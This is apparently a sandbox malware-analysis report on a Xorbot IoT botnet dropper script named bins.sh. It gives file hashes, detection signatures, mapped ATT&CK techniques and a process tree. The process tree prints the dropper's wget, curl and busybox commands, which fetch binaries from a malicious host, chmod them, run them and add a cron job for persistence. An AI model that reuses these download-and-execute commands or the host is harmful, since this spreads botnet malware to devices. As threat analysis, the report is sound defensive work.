xorbot | 27e10f92af7087a71e53ea4397ca1048fae7141974622a595a9fc358c187cd8f

Analysis

max time kernel
96s
max time network
151s
platform
debian-9_mipsel
resource
debian9-mipsel-20240729-en
resource tags

arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
28/02/2025, 11:53

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General

Target

bins.sh
Size

10KB
MD5

1c04224c31369b92267e0f914de6faa7
SHA1

a83724c5b8610fae0d070df43be47b501af8c44b
SHA256

27e10f92af7087a71e53ea4397ca1048fae7141974622a595a9fc358c187cd8f
SHA512

f84f0a3d4f25e30aa0b396a8212e44194c1787f5af184c2a20ded76d3b1dc36e52a38c1c8c16ea6d5263807375dbc8fdfc92de6b4f116b68f16650655288b542
SSDEEP

96:YjvjDjZLwsIL8AjnqinuOCaELKCsHA82U99vLv+vuvBGjm9gcSLwsFQMuBSBqBqs:S4H7qAKosvdGrDIF4

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalation trojan

Malware Config

Signatures

Detects Xorbot 2 IoCs

botnet trojan

resource	yara_rule
behavioral4/files/fstream-1.dat	family_xorbot
behavioral4/files/fstream-8.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (935) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 4 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
776	chmod
826	chmod
962	chmod
973	chmod

Executes dropped EXE 3 IoCs

ioc	pid	Process
/tmp/6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx	778	bins.sh
/tmp/tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq	827	bins.sh
/tmp/jt9jGRCBvs5W4HfojuNQa26eGDclv8ZsGN	974	bins.sh

Renames itself 1 IoCs

pid	Process
828	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.iLzxUL	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/70/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/990/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/997/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/1001/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/82/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/371/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/844/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/992/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/996/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/1006/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/920/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/12/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/21/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/853/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/914/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/892/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/965/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/1020/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/1027/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/1030/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/871/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/1035/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/69/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/988/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/865/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/15/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/81/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/110/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/373/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/170/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/900/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/910/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/974/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/1004/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/13/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/929/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/969/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/1000/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/945/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/987/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/898/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/6/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/16/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/4/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/867/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/876/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/893/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/926/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/737/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/1029/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/1031/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/367/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/841/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/845/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/852/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/895/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/949/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/991/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/1016/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/999/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/866/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/977/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/160/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq

System Network Configuration Discovery 1 TTPs 13 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
965	wget
968	busybox
770	curl
818	curl
926	curl
966	curl
977	wget
748	wget
773	busybox
782	wget
825	busybox
858	wget
933	busybox

Writes file to tmp directory 7 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq	wget
File opened for modification	/tmp/tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq	curl
File opened for modification	/tmp/tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq	busybox
File opened for modification	/tmp/jt9jGRCBvs5W4HfojuNQa26eGDclv8ZsGN	busybox
File opened for modification	/tmp/6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx	wget
File opened for modification	/tmp/6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx	curl
File opened for modification	/tmp/6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:740
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:743
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:748
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:770
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:773
- /bin/chmod
  chmod 777 6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx
  2⤵
  - File and Directory Permissions Modification
  PID:776
- /tmp/6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx
  ./6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx
  2⤵
  PID:778
- /bin/rm
  rm 6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx
  2⤵
  PID:781
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:782
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:818
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:825
- /bin/chmod
  chmod 777 tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
  2⤵
  - File and Directory Permissions Modification
  PID:826
- /tmp/tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
  ./tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
  2⤵
  - Renames itself
  - Reads runtime system information
  PID:827
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:829
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:830
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:831
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:832
- /bin/rm
  rm tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
  2⤵
  PID:840
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/j7YkHCn9eenbdEJjjSe4RAXf34IgXaWdQh
  2⤵
  - System Network Configuration Discovery
  PID:858
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/j7YkHCn9eenbdEJjjSe4RAXf34IgXaWdQh
  2⤵
  - System Network Configuration Discovery
  PID:926
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/j7YkHCn9eenbdEJjjSe4RAXf34IgXaWdQh
  2⤵
  - System Network Configuration Discovery
  PID:933
- /bin/chmod
  chmod 777 j7YkHCn9eenbdEJjjSe4RAXf34IgXaWdQh
  2⤵
  - File and Directory Permissions Modification
  PID:962
- /tmp/j7YkHCn9eenbdEJjjSe4RAXf34IgXaWdQh
  ./j7YkHCn9eenbdEJjjSe4RAXf34IgXaWdQh
  2⤵
  PID:963
- /bin/rm
  rm j7YkHCn9eenbdEJjjSe4RAXf34IgXaWdQh
  2⤵
  PID:964
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/jt9jGRCBvs5W4HfojuNQa26eGDclv8ZsGN
  2⤵
  - System Network Configuration Discovery
  PID:965
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/jt9jGRCBvs5W4HfojuNQa26eGDclv8ZsGN
  2⤵
  - System Network Configuration Discovery
  PID:966
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/jt9jGRCBvs5W4HfojuNQa26eGDclv8ZsGN
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:968
- /bin/chmod
  chmod 777 jt9jGRCBvs5W4HfojuNQa26eGDclv8ZsGN
  2⤵
  - File and Directory Permissions Modification
  PID:973
- /tmp/jt9jGRCBvs5W4HfojuNQa26eGDclv8ZsGN
  ./jt9jGRCBvs5W4HfojuNQa26eGDclv8ZsGN
  2⤵
  PID:974
- /bin/rm
  rm jt9jGRCBvs5W4HfojuNQa26eGDclv8ZsGN
  2⤵
  PID:976
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Lh2XFnF0IQ4hRp0Ecm8nGBqLKD7wLDvUo7
  2⤵
  - System Network Configuration Discovery
  PID:977

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx

Filesize
119KB

MD5
1b166b95f9cb4b079ef1b9ec8363ddf3

SHA1
0d8eb08add467b3b5474f9b25909297fe7c2839c

SHA256
94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

SHA512
983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

Download Submit
/tmp/jt9jGRCBvs5W4HfojuNQa26eGDclv8ZsGN

Filesize
99KB

MD5
9438d9bc392bcf300a5583b6df5bc8f6

SHA1
375a6ae34b516f6f3eeea8030c4084f585017efa

SHA256
68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

SHA512
1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

Download Submit
/tmp/tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq

Filesize
151KB

MD5
6c583043d91c55aa470c08c87058e917

SHA1
abf65a5b9bba69980278ad09356e53de8bb89439

SHA256
2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

SHA512
82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

Download Submit
/var/spool/cron/crontabs/tmp.iLzxUL

Filesize
210B

MD5
52534871c166d9c57a4977e683090293

SHA1
eeae63b3cef4606a2ef5aeac337abee4b6b72531

SHA256
f2c27164b10632b66e3e65ba4dbb4a7be3b13781833d5e726a46b23c03337a08

SHA512
635cf90ea87eac7763ffcaae1cf38fd91f1228902ec87f5f2b77c9d4dad4daf483dfa6638eb51868f526107c95ae5d44cd2b03e7c2b9c961ca8c132107ea4a60

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads